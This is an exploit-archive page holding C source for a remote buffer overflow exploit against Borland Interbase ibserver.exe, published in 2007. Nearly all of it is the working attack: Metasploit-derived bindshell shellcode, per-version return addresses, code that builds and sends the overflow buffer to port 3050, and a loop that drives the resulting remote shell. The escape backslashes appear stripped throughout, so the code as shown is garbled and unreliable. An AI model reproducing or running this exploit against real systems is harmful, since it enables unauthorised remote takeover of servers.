[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Borland Interbase <= 2007 SP1 Create-Request Remote Overflow Exploit
# Published : 2007-07-30
# Author : BackBone
# Previous Title : VMware Inc 6.0.0 CreateProcess Remote Code Execution Exploit
# Next Title : corehttp 0.5.3alpha (httpd) Remote Buffer Overflow Exploit


/*

	http://lists.grok.org.uk/pipermail/full-disclosure/2007-July/064882.html

	Groetjes aan mijn sletjes: Doopie, Sjaakhans, [PS] en Sleepwalker :P
	All your base are belong to FD2K2!

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")

#define IB_PORT "3050"
// 0xFF - 0x8, jmp 8 bytes back
#define JMP "x90x90xEBxF7"
// 0xFFFFFFFF - (sizeof(shellcode) + BIG_JMP SIZE), jmp to beginning of shellcode
CHAR BIG_JMP[]="xE9xFFxFFxFFxFF";
// BIG_JMP SIZE
#define BIG_JMP_SIZE 5

CHAR ASCII_SHIT[]=
"rn                   >__            _      ___rn"
"                  / __\26/07/2007| | __ / __\ ___  _ __   ___ rn"
"                 /__\/// _` |/ __| |/ //__\/// _ \| '_ \ / _ \rn"
"                / \/  \ (_| | (__|   </ \/  \ (_) | | | |  __/rn"
"                \_____/\__,_|\___|_|\_\_____/\___/|_| |_|\___>rn"
"                     _______________BackBone_(c)_2007_______rnrn";

struct
{
	char* cVersion;
	DWORD dwRet;
	DWORD dwLength1;
	DWORD dwLength2;
}
targets[]=
{
	{"Interbase Server 2007 <=SP1 v8.0.0.123-w32 (UNIVERSAL)",0x403D4D,2108,0x2000}, // pop,pop,ret ibserver.exe v8.0.0.123
	{"Interbase Server v7.5.0.129-w32 (UNIVERSAL)",0x403A5D,2108,0x2000}, // pop,pop,ret ibserver.exe v7.5.0.129
	{"Interbase Server v7.1.0.181-w32 (UNIVERSAL)",0x4039BD,1336,0x2000}, // pop,pop,ret ibserver.exe v7.1.0.181
	{"Interbase Server v6.0.1.6-w32 (UNIVERSAL) untested",0x403901,1336,0x2000}, // pop,pop,ret ibserver.exe v6.0.1.6
 },v;

// don't change the offset
#define PORT_OFFSET 170
#define BIND_PORT 10282

// bindshell shellcode from www.metasploit.com,mod by skylined
unsigned char shellcode[] =
  "xebx43x56x57x8bx45x3cx8bx54x05x78x01xeax52x8bx52"
  "x20x01xeax31xc0x31xc9x41x8bx34x8ax01xeex31xffxc1"
  "xcfx13xacx01xc7x85xc0x75xf6x39xdfx75xeax5ax8bx5a"
  "x24x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01"
  "xe8x5fx5exffxe0xfcx31xc0x64x8bx40x30x8bx40x0cx8b"
  "x70x1cxadx8bx68x08x31xc0x66xb8x6cx6cx50x68x33x32"
  "x2ex64x68x77x73x32x5fx54xbbx71xa7xe8xfexe8x90xff"
  "xffxffx89xefx89xc5x81xc4x70xfexffxffx54x31xc0xfe"
  "xc4x40x50xbbx22x7dxabx7dxe8x75xffxffxffx31xc0x50"
  "x50x50x50x40x50x40x50xbbxa6x55x34x79xe8x61xffxff"
  "xffx89xc6x31xc0x50x50x35x02x01x70xccxfexccx50x89"
  "xe0x50x6ax10x50x56xbbx81xb4x2cxbexe8x42xffxffxff"
  "x31xc0x50x56xbbxd3xfax58x9bxe8x34xffxffxffx58x60"
  "x6ax10x54x50x56xbbx47xf3x56xc6xe8x23xffxffxffx89"
  "xc6x31xdbx53x68x2ex63x6dx64x89xe1x41x31xdbx56x56"
  "x56x53x53x31xc0xfexc4x40x50x53x53x53x53x53x53x53"
  "x53x53x53x6ax44x89xe0x53x53x53x53x54x50x53x53x53"
  "x43x53x4bx53x53x51x53x87xfdxbbx21xd0x05xd0xe8xdf"
  "xfexffxffx5bx31xc0x48x50x53xbbx43xcbx8dx5fxe8xcf"
  "xfexffxffx56x87xefxbbx12x6bx6dxd0xe8xc2xfexffxff"
  "x83xc4x5cx61xebx89";

#define SET_BIND_PORT(p) *(USHORT*)(shellcode+PORT_OFFSET)=htons(p);

unsigned long lookupaddress(const char* pchost)
{
	unsigned long nremoteaddr = inet_addr(pchost);

	if (nremoteaddr == INADDR_NONE)
	{
		struct hostent* phe = gethostbyname(pchost);

		if (phe == 0)
			return INADDR_NONE;
		nremoteaddr = *((u_long*)phe->h_addr_list[0]);
	}
	return nremoteaddr;
}

void showusage(char* argv)
{
	int i;

	printf("[*] Usage: %s ip[:port] target [bindport]rn", argv);
	printf("[*] Standard port=%d, Standard bindport=%d.rn",atoi(IB_PORT),BIND_PORT);
	printf("[*] Targets:rnrn");
	for (i=0;i<(sizeof(targets)/sizeof(v));i++)
		printf("t%2d: %srn",i,targets[i].cVersion);
}

void showinfo(void)
{
	printf("%s",ASCII_SHIT);
	printf("    Borland Interbase ibserver.exe Create-Request Buffer Overflow Vulnerabilityrn");
	printf("                       Advisory provided by TPTI-07-13.rn");
	printf("                            Exploit by BackBone.rnrn");
}

/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
	int l;
	char buf[512];
	struct    timeval time;
	unsigned long    ul[2];

	time.tv_sec = 1;
	time.tv_usec = 0;

	while(1)
	{
		ul[0]=1;
		ul[1]=sock;

		l=select(0,(fd_set*)&ul,NULL,NULL,&time);
		if(l==1)
		{
			l=recv(sock,buf,sizeof(buf),0);
			if (l<=0)
			{
				printf("rn[-] connection closed.n");
				return;
			}
			l=write(1,buf,l);
			if (l<=0)
			{
				printf("rn[-] connection closed.n");
				return;
			}
		}
		else
		    {
			l=read(0,buf,sizeof(buf));
			if (l<=0)
			{
				printf("rn[-] connection closed.n");
				return;
			}
			l=send(sock,buf,l,0);
			if (l<=0)
			{
				printf("rn[-] connection closed.n");
				return;
			}
		}
	}
}

int main(int argc, char *argv[])
{
	char *host,*port;
	unsigned long ulip;
	WSADATA wsa;
	SOCKET s;
	struct sockaddr_in sock_in;
	char buffer[16384];
	int bind,type;
	unsigned int size=0;
	DWORD dwLen1,dwLen2;
	DWORD dwBigJmp=0xFFFFFFFF;
	int i;

	showinfo();

	if (argc<3 || argc>4)
	{
		showusage(argv[0]);
		return -1;
	}

	host=strtok(argv[1],":");
	if((port=strtok(NULL,":"))==0)
		port=IB_PORT;

	if (WSAStartup(MAKEWORD(1,0),&wsa)!=0)
	{
		printf("[-] WSAStartup() error.rn");
		return -1;
	}

	ulip=lookupaddress(host);
	if (ulip==INADDR_ANY || ulip==INADDR_NONE)
	{
		printf("[-] invalid ip or host.rn");
		return -1;
	}

	if (atoi(port)<0 || atoi(port)>65534)
	{
		printf("[-] invalid port.rn");
		return -1;
	}

	type=atoi(argv[2]);
	if (type>(sizeof(targets)/sizeof(v))-1 || type<0)
	{
		printf("[-] invalid target type.rn");
		return -1;
	}

	printf("[+] Target: %srn",targets[type].cVersion);

	bind=BIND_PORT;
	if (argc==4)
	{
		if (atoi(argv[3])>0 && atoi(argv[3])<65535)
			bind=atoi(argv[3]);
	}
	SET_BIND_PORT(bind);

	s=socket(AF_INET, SOCK_STREAM,0);
	if (s==INVALID_SOCKET)
	{
		printf("[-] socket() error.rn",s);
		return -1;
	}

	sock_in.sin_port=htons((u_short)atoi(port));
	sock_in.sin_family=AF_INET;
	sock_in.sin_addr.s_addr=ulip;

	printf("[+] Connecting to %d.%d.%d.%d:%d ... ",ulip&0xff,(ulip>>8)&0xff,
		(ulip>>16)&0xff,(ulip>>24)&0xff,atoi(port));

	if (connect(s,(struct sockaddr*)&sock_in,sizeof(sock_in))==SOCKET_ERROR)
	{
		printf("Failed!rn");
		closesocket(s);
		WSACleanup();
		return -1;
	}

	printf("Ok.rn");

	// constructing the buffer
	memset(buffer,0,16384);

	memcpy(buffer,"x00x00x00x14x00x00x00x03",8);
	size+=8;

	dwLen1=htonl(targets[type].dwLength1+(sizeof(DWORD)*3));

	memcpy(buffer+size,&dwLen1,sizeof(DWORD));
	size+=sizeof(DWORD);

	memset(buffer+size,0x90,targets[type].dwLength1-(sizeof(shellcode)+BIG_JMP_SIZE));
	size+=targets[type].dwLength1-(sizeof(shellcode)+BIG_JMP_SIZE);

	// shellcode
	memcpy(buffer+size,shellcode,sizeof(shellcode));
	size+=sizeof(shellcode);

	// jump to shellcode (0xFFFFFFFF - (sizeof(shellcode)+BIG_JMP_SIZE)
	dwBigJmp-=sizeof(shellcode)+BIG_JMP_SIZE;
	// prepare jump code
	memcpy(BIG_JMP+1,&dwBigJmp,sizeof(DWORD));
	// write big jump code
	memcpy(buffer+size,BIG_JMP,BIG_JMP_SIZE);
	size+=BIG_JMP_SIZE;

	// jmp 8 bytes back
	memcpy(buffer+size,JMP,sizeof(DWORD));
	size+=sizeof(DWORD);

	// return addr
	memcpy(buffer+size,&targets[type].dwRet,sizeof(DWORD));
	size+=sizeof(DWORD);

	memset(buffer+size,0xFF,sizeof(DWORD));
	size+=sizeof(DWORD);

	dwLen2=htonl(targets[type].dwLength2);

	memcpy(buffer+size,&dwLen2,sizeof(DWORD));
	size+=sizeof(DWORD);

	memset(buffer+size,0x90,targets[type].dwLength2);
	size+=targets[type].dwLength2;

	printf("[+] Sending buffer (len: %u) ... ",size);

	if (!send(s,buffer,size,0))
	{
		printf("Failed.rn");
		closesocket(s);
		WSACleanup();
		return -1;
	}

	printf("Ok.rn");

	closesocket(s);

	Sleep(1000);

	printf("[+] Connecting to %d.%d.%d.%d:%d ... ",ulip&0xff,(ulip>>8)&0xff,
				(ulip>>16)&0xff,(ulip>>24)&0xff,bind);

	s=socket(AF_INET, SOCK_STREAM,0);
	if (s==INVALID_SOCKET)
	{
		printf("socket() error.rn",s);
		WSACleanup();
		return -1;
	}

	sock_in.sin_port=htons((u_short)bind);
	sock_in.sin_family=AF_INET;
	sock_in.sin_addr.s_addr=ulip;

	if (connect(s,(struct sockaddr*)&sock_in,sizeof(sock_in))==SOCKET_ERROR)
	{
		printf("Failed!rn");
		closesocket(s);
		WSACleanup();
		return -1;
	}

	printf("Ok!rnrn--- w000t w000t ---rnrn");

	shell(s);

	closesocket(s);

	WSACleanup();

	return 0;
}

// www.Syue.com [2007-07-30]